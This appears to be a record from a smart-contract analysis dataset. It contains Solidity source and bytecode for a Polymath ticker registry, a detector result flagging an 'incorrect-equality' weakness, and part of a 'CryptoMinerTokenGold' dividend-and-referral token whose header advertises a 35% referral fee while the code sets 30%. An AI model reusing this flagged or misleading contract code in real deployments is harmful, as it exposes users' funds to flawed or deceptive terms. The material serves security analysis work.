* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Interface for the polymath ticker registry contract
*/
contract ITickerRegistry {
/**
* @notice Check the validity of the symbol
* @param _symbol token symbol
* @param _owner address of the owner
* @param _tokenName Name of the token
* @return bool
*/
function checkValidity(string _symbol, address _owner, string _tokenName) public returns(bool);
/**
* @notice Returns the owner and timestamp for a given symbol
* @param _symbol symbol
*/
function getDetails(string _symbol) public view returns (address, uint256, string, bytes32, bool);
/**
* @notice Check the symbol is reserved or not
* @param _symbol Symbol of the token
* @return bool
*/
function isReserved(string _symbol, address _owner, string _tokenName, bytes32 _swarmHash) public returns(bool);
}
/**
* @title Utility contract for reusable code
*/
contract Util {
/**
* @notice changes a string to upper case
* @param _base string to change
*/
function upper(string _base) internal pure returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
bytes1 b1 = _baseBytes[i];
if (b1 >= 0x61 && b1 <= 0x7A) {
b1 = bytes1(uint8(b1)-32);
}
_baseBytes[i] = b1;
}
return string(_baseBytes);
}
}
/**
* @title Utility contract to allow pausing and unpausing of certain functions
*/
contract Pausable {
event Pause(uint256 _timestammp);
event Unpause(uint256 _timestamp);
bool public paused = false;
/**
* @notice Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @notice Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @notice called by the owner to pause, triggers stopped state
*/
function _pause() internal {
require(!paused);
paused = true;
emit Pause(now);
}
/**
* @notice called by the owner to unpause, returns to normal state
*/
function _unpause() internal {
require(paused);
paused = false;
emit Unpause(now);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Utility contract to allow owner to retreive any ERC20 sent to the contract
*/
contract ReclaimTokens is Ownable {
/**
* @notice Reclaim all ERC20Basic compatible tokens
* @param _tokenContract The address of the token contract
*/
function reclaimERC20(address _tokenContract) external onlyOwner {
require(_tokenContract != address(0));
ERC20Basic token = ERC20Basic(_tokenContract);
uint256 balance = token.balanceOf(address(this));
require(token.transfer(owner, balance));
}
}
/**
* @title Core functionality for registry upgradability
*/
contract PolymathRegistry is ReclaimTokens {
mapping (bytes32 => address) public storedAddresses;
event LogChangeAddress(string _nameKey, address indexed _oldAddress, address indexed _newAddress);
/**
* @notice Get the contract address
* @param _nameKey is the key for the contract address mapping
* @return address
*/
function getAddress(string _nameKey) view public returns(address) {
bytes32 key = keccak256(bytes(_nameKey));
require(storedAddresses[key] != address(0), "Invalid address key");
return storedAddresses[key];
}
/**
* @notice change the contract address
* @param _nameKey is the key for the contract address mapping
* @param _newAddress is the new contract address
*/
function changeAddress(string _nameKey, address _newAddress) public onlyOwner {
bytes32 key = keccak256(bytes(_nameKey));
emit LogChangeAddress(_nameKey, storedAddresses[key], _newAddress);
storedAddresses[key] = _newAddress;
}
}
contract RegistryUpdater is Ownable {
address public polymathRegistry;
address public moduleRegistry;
address public securityTokenRegistry;
address public tickerRegistry;
address public polyToken;
constructor (address _polymathRegistry) public {
require(_polymathRegistry != address(0));
polymathRegistry = _polymathRegistry;
}
function updateFromRegistry() onlyOwner public {
moduleRegistry = PolymathRegistry(polymathRegistry).getAddress("ModuleRegistry");
securityTokenRegistry = PolymathRegistry(polymathRegistry).getAddress("SecurityTokenRegistry");
tickerRegistry = PolymathRegistry(polymathRegistry).getAddress("TickerRegistry");
polyToken = PolymathRegistry(polymathRegistry).getAddress("PolyToken");
}
}
/**
* @title Registry contract for issuers to reserve their security token symbols
* @notice Allows issuers to reserve their token symbols ahead of actually generating their security token.
* @dev SecurityTokenRegistry would reference this contract and ensure that a token symbol exists here and only its owner can deploy the token with that symbol.
*/
contract TickerRegistry is ITickerRegistry, Util, Pausable, RegistryUpdater, ReclaimTokens {
using SafeMath for uint256;
// constant variable to check the validity to use the symbol
// For now it's value is 15 days;
uint256 public expiryLimit = 15 * 1 days;
// Details of the symbol that get registered with the polymath platform
struct SymbolDetails {
address owner;
uint256 timestamp;
string tokenName;
bytes32 swarmHash;
bool status;
}
// Storage of symbols correspond to their details.
mapping(string => SymbolDetails) registeredSymbols;
// Emit after the symbol registration
event LogRegisterTicker(address indexed _owner, string _symbol, string _name, bytes32 _swarmHash, uint256 indexed _timestamp);
// Emit when the token symbol expiry get changed
event LogChangeExpiryLimit(uint256 _oldExpiry, uint256 _newExpiry);
// Registration fee in POLY base 18 decimals
uint256 public registrationFee;
// Emit when changePolyRegisterationFee is called
event LogChangePolyRegisterationFee(uint256 _oldFee, uint256 _newFee);
constructor (address _polymathRegistry, uint256 _registrationFee) public
RegistryUpdater(_polymathRegistry)
{
registrationFee = _registrationFee;
}
/**
* @notice Register the token symbol for its particular owner
* @notice Once the token symbol is registered to its owner then no other issuer can claim
* @notice its ownership. If the symbol expires and its issuer hasn't used it, then someone else can take it.
* @param _symbol token symbol
* @param _tokenName Name of the token
* @param _owner Address of the owner of the token
* @param _swarmHash Off-chain details of the issuer and token
*/
function registerTicker(address _owner, string _symbol, string _tokenName, bytes32 _swarmHash) public whenNotPaused {
require(_owner != address(0), "Owner should not be 0x");
require(bytes(_symbol).length > 0 && bytes(_symbol).length <= 10, "Ticker length should always between 0 & 10");
if(registrationFee > 0)
require(ERC20(polyToken).transferFrom(msg.sender, this, registrationFee), "Failed transferFrom because of sufficent Allowance is not provided");
string memory symbol = upper(_symbol);
require(expiryCheck(symbol), "Ticker is already reserved");
registeredSymbols[symbol] = SymbolDetails(_owner, now, _tokenName, _swarmHash, false);
emit LogRegisterTicker (_owner, symbol, _tokenName, _swarmHash, now);
}
/**
* @notice Change the expiry time for the token symbol
* @param _newExpiry new time period for token symbol expiry
*/
function changeExpiryLimit(uint256 _newExpiry) public onlyOwner {
require(_newExpiry >= 1 days, "Expiry should greater than or equal to 1 day");
uint256 _oldExpiry = expiryLimit;
expiryLimit = _newExpiry;
emit LogChangeExpiryLimit(_oldExpiry, _newExpiry);
}
/**
* @notice Check the validity of the symbol
* @param _symbol token symbol
* @param _owner address of the owner
* @param _tokenName Name of the token
* @return bool
*/
function checkValidity(string _symbol, address _owner, string _tokenName) public returns(bool) {
string memory symbol = upper(_symbol);
require(msg.sender == securityTokenRegistry, "msg.sender should be SecurityTokenRegistry contract");
require(registeredSymbols[symbol].status != true, "Symbol status should not equal to true");
require(registeredSymbols[symbol].owner == _owner, "Owner of the symbol should matched with the requested issuer address");
require(registeredSymbols[symbol].timestamp.add(expiryLimit) >= now, "Ticker should not be expired");
registeredSymbols[symbol].tokenName = _tokenName;
registeredSymbols[symbol].status = true;
return true;
}
/**
* @notice Check the symbol is reserved or not
* @param _symbol Symbol of the token
* @param _owner Owner of the token
* @param _tokenName Name of the token
* @param _swarmHash off-chain hash
* @return bool
*/
function isReserved(string _symbol, address _owner, string _tokenName, bytes32 _swarmHash) public returns(bool) {
string memory symbol = upper(_symbol);
require(msg.sender == securityTokenRegistry, "msg.sender should be SecurityTokenRegistry contract");
if (registeredSymbols[symbol].owner == _owner && !expiryCheck(_symbol)) {
registeredSymbols[symbol].status = true;
return false;
}
else if (registeredSymbols[symbol].owner == address(0) || expiryCheck(symbol)) {
registeredSymbols[symbol] = SymbolDetails(_owner, now, _tokenName, _swarmHash, true);
emit LogRegisterTicker (_owner, symbol, _tokenName, _swarmHash, now);
return false;
} else
return true;
}
/**
* @notice Returns the owner and timestamp for a given symbol
* @param _symbol symbol
* @return address
* @return uint256
* @return string
* @return bytes32
* @return bool
*/
function getDetails(string _symbol) public view returns (address, uint256, string, bytes32, bool) {
string memory symbol = upper(_symbol);
if (registeredSymbols[symbol].status == true||registeredSymbols[symbol].timestamp.add(expiryLimit) > now) {
return
(
registeredSymbols[symbol].owner,
registeredSymbols[symbol].timestamp,
registeredSymbols[symbol].tokenName,
registeredSymbols[symbol].swarmHash,
registeredSymbols[symbol].status
);
}else
return (address(0), uint256(0), "", bytes32(0), false);
}
/**
* @notice To re-initialize the token symbol details if symbol validity expires
* @param _symbol token symbol
* @return bool
*/
function expiryCheck(string _symbol) internal returns(bool) {
if (registeredSymbols[_symbol].owner != address(0)) {
if (now > registeredSymbols[_symbol].timestamp.add(expiryLimit) && registeredSymbols[_symbol].status != true) {
registeredSymbols[_symbol] = SymbolDetails(address(0), uint256(0), "", bytes32(0), false);
return true;
}else
return false;
}
return true;
}
/**
* @notice set the ticker registration fee in POLY tokens
* @param _registrationFee registration fee in POLY tokens (base 18 decimals)
*/
function changePolyRegisterationFee(uint256 _registrationFee) public onlyOwner {
require(registrationFee != _registrationFee);
emit LogChangePolyRegisterationFee(registrationFee, _registrationFee);
registrationFee = _registrationFee;
}
/**
* @notice pause registration function
*/
function unpause() public onlyOwner {
_unpause();
}
/**
* @notice unpause registration function
*/
function pause() public onlyOwner {
_pause();
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166307a8af6f81146101215780631328fd8f1461014857806314c44e0914610243578063208b080f146102585780632a858126146102725780633f4ba83a146102a35780635c975abb146102b85780636faa22a5146102e1578063715018a6146102f657806377282b701461030b5780638456cb59146103205780638905fd4f146103355780638da5cb5b14610356578063a79094b71461036b578063ac1e765b14610383578063b95459e414610429578063c95840081461043e578063ce4dbdff146104e5578063ce9af2b9146104fa578063f2fde38b146105a2578063f433262f146105c3575b600080fd5b34801561012d57600080fd5b506101366105d8565b60408051918252519081900360200190f35b34801561015457600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101a19436949293602493928401919081908401838280828437509497506105de9650505050505050565b60408051600160a060020a0387168152602080820187905260608201859052831515608083015260a0928201838152865193830193909352855191929160c084019187019080838360005b838110156102045781810151838201526020016101ec565b50505050905090810190601f1680156102315780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561024f57600080fd5b506101366109ab565b34801561026457600080fd5b506102706004356109b1565b005b34801561027e57600080fd5b50610287610a97565b60408051600160a060020a039092168252519081900360200190f35b3480156102af57600080fd5b50610270610aa6565b3480156102c457600080fd5b506102cd610acc565b604080519115158252519081900360200190f35b3480156102ed57600080fd5b50610287610ad5565b34801561030257600080fd5b50610270610ae4565b34801561031757600080fd5b50610287610b5a565b34801561032c57600080fd5b50610270610b69565b34801561034157600080fd5b50610270600160a060020a0360043516610b8d565b34801561036257600080fd5b50610287610d06565b34801561037757600080fd5b50610270600435610d1a565b34801561038f57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102cd94369492936024939284019190819084018382808284375050604080516020601f818a01358b0180359182018390048302840183018552818452989b600160a060020a038b35169b909a909994019750919550918201935091508190840183828082843750949750610d879650505050505050565b34801561043557600080fd5b506102876111a9565b34801561044a57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610270958335600160a060020a031695369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975050933594506111b89350505050565b3480156104f157600080fd5b5061028761168f565b34801561050657600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102cd94369492936024939284019190819084018382808284375050604080516020601f818a01358b0180359182018390048302840183018552818452989b600160a060020a038b35169b909a909994019750919550918201935091508190840183828082843750949750509335945061169e9350505050565b3480156105ae57600080fd5b50610270600160a060020a0360043516611afd565b3480156105cf57600080fd5b50610270611b25565b60065481565b600080606060008060606105f187611e3f565b90506007816040518082805190602001908083835b602083106106255780518252601f199092019160209182019101610606565b51815160001960209485036101000a0190811690199190911617905292019485525060405193849003019092206004015460ff16151560011491508190506106db5750426106d96006546007846040518082805190602001908083835b602083106106a15780518252601f199092019160209182019101610682565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092206001015492915050611fa1565b115b15610983576007816040518082805190602001908083835b602083106107125780518252601f1990920191602091820191016106f3565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420548551600160a060020a039091169460079450869350918291908401908083835b6020831061077d5780518252601f19909201916020918201910161075e565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420600101548651909460079450879350918291908401908083835b602083106107e15780518252601f1990920191602091820191016107c2565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206002016007846040518082805190602001908083835b602083106108495780518252601f19909201916020918201910161082a565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420600301548851909460079450899350918291908401908083835b602083106108ad5780518252601f19909201916020918201910161088e565b518151600019602094850361010090810a82019283169219939093169190911790925294909201968752604080519788900382018820600401548a54601f600260018316159098029095011695909504928301829004820288018201905281875260ff90931695945087935091840190508282801561096d5780601f106109425761010080835404028352916020019161096d565b820191906000526020600020905b81548152906001019060200180831161095057829003601f168201915b50505050509250955095509550955095506109a1565b60408051602081019091526000808252965086955093508492508291505b5091939590929450565b60085481565b600080546101009004600160a060020a031633146109ce57600080fd5b62015180821015610a4f576040805160e560020a62461bcd02815260206004820152602c60248201527f4578706972792073686f756c642067726561746572207468616e206f7220657160448201527f75616c20746f2031206461790000000000000000000000000000000000000000606482015290519081900360840190fd5b506006805490829055604080518281526020810184905281517f56097c2b95f5ff3dd5079c032872d82d5e8b5709a9b6e5fde0472253f9f94be1929181900390910190a15050565b600454600160a060020a031681565b6000546101009004600160a060020a03163314610ac257600080fd5b610aca611fb4565b565b60005460ff1681565b600554600160a060020a031681565b6000546101009004600160a060020a03163314610b0057600080fd5b60008054604051610100909104600160a060020a0316917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805474ffffffffffffffffffffffffffffffffffffffff0019169055565b600154600160a060020a031681565b6000546101009004600160a060020a03163314610b8557600080fd5b610aca612004565b6000805481906101009004600160a060020a03163314610bac57600080fd5b600160a060020a0383161515610bc157600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610c2557600080fd5b505af1158015610c39573d6000803e3d6000fd5b505050506040513d6020811015610c4f57600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909204600160a060020a03908116600484015260248301859052905193945085169263a9059cbb92604480840193602093929083900390910190829087803b158015610cca57600080fd5b505af1158015610cde573d6000803e3d6000fd5b505050506040513d6020811015610cf457600080fd5b50511515610d0157600080fd5b505050565b6000546101009004600160a060020a031681565b6000546101009004600160a060020a03163314610d3657600080fd5b600854811415610d4557600080fd5b600854604080519182526020820183905280517fc999477ee25ca441ffa3217ee90d84865b6d945f40e1d625dc2e8982ed22d3a19281900390910190a1600855565b60006060610d9485611e3f565b600354909150600160a060020a03163314610e1f576040805160e560020a62461bcd02815260206004820152603360248201527f6d73672e73656e6465722073686f756c64206265205365637572697479546f6b60448201527f656e526567697374727920636f6e747261637400000000000000000000000000606482015290519081900360840190fd5b6007816040518082805190602001908083835b60208310610e515780518252601f199092019160209182019101610e32565b51815160001960209485036101000a0190811690199190911617905292019485525060405193849003019092206004015460ff161515600114159150610f099050576040805160e560020a62461bcd02815260206004820152602660248201527f53796d626f6c207374617475732073686f756c64206e6f7420657175616c207460448201527f6f20747275650000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b83600160a060020a03166007826040518082805190602001908083835b60208310610f455780518252601f199092019160209182019101610f26565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491506110239050576040805160e560020a62461bcd028152602060048201526044602482018190527f4f776e6572206f66207468652073796d626f6c2073686f756c64206d61746368908201527f656420776974682074686520726571756573746564206973737565722061646460648201527f7265737300000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b4261105b600654600784604051808280519060200190808383602083106106a15780518252601f199092019160209182019101610682565b10156110b1576040805160e560020a62461bcd02815260206004820152601c60248201527f5469636b65722073686f756c64206e6f74206265206578706972656400000000604482015290519081900360640190fd5b826007826040518082805190602001908083835b602083106110e45780518252601f1990920191602091820191016110c5565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381019093208451611129956002909201949190910192509050612324565b5060016007826040518082805190602001908083835b6020831061115e5780518252601f19909201916020918201910161113f565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220600401805460ff1916931515939093179092555060019695505050505050565b600254600160a060020a031681565b60005460609060ff16156111cb57600080fd5b600160a060020a038516151561122b576040805160e560020a62461bcd02815260206004820152601660248201527f4f776e65722073686f756c64206e6f7420626520307800000000000000000000604482015290519081900360640190fd5b6000845111801561123e5750600a845111155b15156112ba576040805160e560020a62461bcd02815260206004820152602a60248201527f5469636b6572206c656e6774682073686f756c6420616c77617973206265747760448201527f65656e2030202620313000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000600854111561140957600554600854604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481019290925251600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b15801561133b57600080fd5b505af115801561134f573d6000803e3d6000fd5b505050506040513d602081101561136557600080fd5b50511515611409576040805160e560020a62461bcd02815260206004820152604260248201527f4661696c6564207472616e7366657246726f6d2062656361757365206f66207360448201527f7566666963656e7420416c6c6f77616e6365206973206e6f742070726f76696460648201527f6564000000000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b61141284611e3f565b905061141d81612056565b1515611473576040805160e560020a62461bcd02815260206004820152601a60248201527f5469636b657220697320616c7265616479207265736572766564000000000000604482015290519081900360640190fd5b60a06040519081016040528086600160a060020a0316815260200142815260200184815260200183600019168152602001600015158152506007826040518082805190602001908083835b602083106114dd5780518252601f1990920191602091820191016114be565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820190942085518154600160a060020a031916600160a060020a039091161781558582015160018201559385015180516115489450600286019350910190612324565b5060608281015160038301556080928301516004909201805460ff1916921515929092179091556040805190810185905281815283519181019190915282514292600160a060020a038916927f8ccd225709fb15de014a9f1362ef5605e3c2182147b11f46e10dc8e2d72ac1bd92869289928992909182916020808401928401919088019080838360005b838110156115eb5781810151838201526020016115d3565b50505050905090810190601f1680156116185780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561164b578181015183820152602001611633565b50505050905090810190601f1680156116785780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a35050505050565b600354600160a060020a031681565b600060606116ab86611e3f565b600354909150600160a060020a03163314611736576040805160e560020a62461bcd02815260206004820152603360248201527f6d73672e73656e6465722073686f756c64206265205365637572697479546f6b60448201527f656e526567697374727920636f6e747261637400000000000000000000000000606482015290519081900360840190fd5b84600160a060020a03166007826040518082805190602001908083835b602083106117725780518252601f199092019160209182019101611753565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491505080156117c057506117be86612056565b155b156118435760016007826040518082805190602001908083835b602083106117f95780518252601f1990920191602091820191016117da565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220600401805460ff1916931515939093179092555060009250611af49050565b6000600160a060020a03166007826040518082805190602001908083835b602083106118805780518252601f199092019160209182019101611861565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491508190506118cc57506118cc81612056565b15611aef5760a06040519081016040528086600160a060020a0316815260200142815260200185815260200184600019168152602001600115158152506007826040518082805190602001908083835b6020831061193b5780518252601f19909201916020918201910161191c565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820190942085518154600160a060020a031916600160a060020a039091161781558582015160018201559385015180516119a69450600286019350910190612324565b5060608281015160038301556080928301516004909201805460ff1916921515929092179091556040805190810186905281815283519181019190915282514292600160a060020a038916927f8ccd225709fb15de014a9f1362ef5605e3c2182147b11f46e10dc8e2d72ac1bd9286928a928a92909182916020808401928401919088019080838360005b83811015611a49578181015183820152602001611a31565b50505050905090810190601f168015611a765780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611aa9578181015183820152602001611a91565b50505050905090810190601f168015611ad65780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a360009150611af4565b600191505b50949350505050565b6000546101009004600160a060020a03163314611b1957600080fd5b611b228161229c565b50565b6000546101009004600160a060020a03163314611b4157600080fd5b6001546040805160e060020a63bf40fac1028152602060048201819052600e60248301527f4d6f64756c65526567697374727900000000000000000000000000000000000060448301529151600160a060020a039093169263bf40fac1926064808401939192918290030181600087803b158015611bbe57600080fd5b505af1158015611bd2573d6000803e3d6000fd5b505050506040513d6020811015611be857600080fd5b505160028054600160a060020a031916600160a060020a039283161790556001546040805160e060020a63bf40fac1028152602060048201819052601560248301527f5365637572697479546f6b656e5265676973747279000000000000000000000060448301529151929093169263bf40fac192606480830193928290030181600087803b158015611c7a57600080fd5b505af1158015611c8e573d6000803e3d6000fd5b505050506040513d6020811015611ca457600080fd5b505160038054600160a060020a031916600160a060020a039283161790556001546040805160e060020a63bf40fac1028152602060048201819052600e60248301527f5469636b6572526567697374727900000000000000000000000000000000000060448301529151929093169263bf40fac192606480830193928290030181600087803b158015611d3657600080fd5b505af1158015611d4a573d6000803e3d6000fd5b505050506040513d6020811015611d6057600080fd5b505160048054600160a060020a031916600160a060020a039283161781556001546040805160e060020a63bf40fac10281526020938101849052600960248201527f506f6c79546f6b656e000000000000000000000000000000000000000000000060448201529051919093169263bf40fac19260648083019391928290030181600087803b158015611df257600080fd5b505af1158015611e06573d6000803e3d6000fd5b505050506040513d6020811015611e1c57600080fd5b505160058054600160a060020a031916600160a060020a03909216919091179055565b6060816000805b8251821015611f98578282815181101515611e5d57fe5b01602001517f0100000000000000000000000000000000000000000000000000000000000000908190040290507f61000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821610801590611f1e57507f7a000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821611155b15611f4e57601f197f01000000000000000000000000000000000000000000000000000000000000009182900401025b808383815181101515611f5d57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600190910190611e46565b50909392505050565b81810182811015611fae57fe5b92915050565b60005460ff161515611fc557600080fd5b6000805460ff191690556040805142815290517faaa520fdd7d2c83061d632fa017b0432407e798818af63ea908589fceda39ab79181900360200190a1565b60005460ff161561201457600080fd5b6000805460ff191660011790556040805142815290517f68b095021b1f40fe513109f513c66692f0b3219aee674a69f4efc57badb8201d9181900360200190a1565b600080600160a060020a03166007836040518082805190602001908083835b602083106120945780518252601f199092019160209182019101612075565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a031692909214915061229390505761210c600654600784604051808280519060200190808383602083106106a15780518252601f199092019160209182019101610682565b4211801561218557506007826040518082805190602001908083835b602083106121475780518252601f199092019160209182019101612128565b51815160001960209485036101000a0190811690199190911617905292019485525060405193849003019092206004015460ff161515600114159150505b1561228b576040805160a0810182526000808252602080830182905283518082018552828152838501526060830182905260808301919091529151845191926007928692918291908401908083835b602083106121f35780518252601f1990920191602091820191016121d4565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820190942085518154600160a060020a031916600160a060020a0390911617815585820151600182015593850151805161225e9450600286019350910190612324565b50606082015160038201556080909101516004909101805460ff1916911515919091179055506001612297565b506000612297565b5060015b919050565b600160a060020a03811615156122b157600080fd5b60008054604051600160a060020a038085169361010090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061236557805160ff1916838001178555612392565b82800160010185558215612392579182015b82811115612392578251825591602001919060010190612377565b5061239e9291506123a2565b5090565b6123bc91905b8082111561239e57600081556001016123a8565b905600a165627a7a723058201c3fd67e0e5dae16f4d5818e4def156aa71b9a6925640af36a76c616a54e724c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,086 |
0xcb07e517e3a113d5c724ad042ce6ad1d2a0a530f
|
pragma solidity 0.4.25;
/*
* https://minertokengold.me
*
* Crypto miner token Gold concept
*
* [✓] 3% Withdraw fee
* [✓] 8% Deposit fee
* [✓] 1% Token transfer
* [✓] 35% Referal link
*
*/
contract CryptoMinerTokenGold {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Crypto Miner Token Gold";
string public symbol = "CMTG";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 8;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 3;
uint8 constant internal refferalFee_ = 30;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
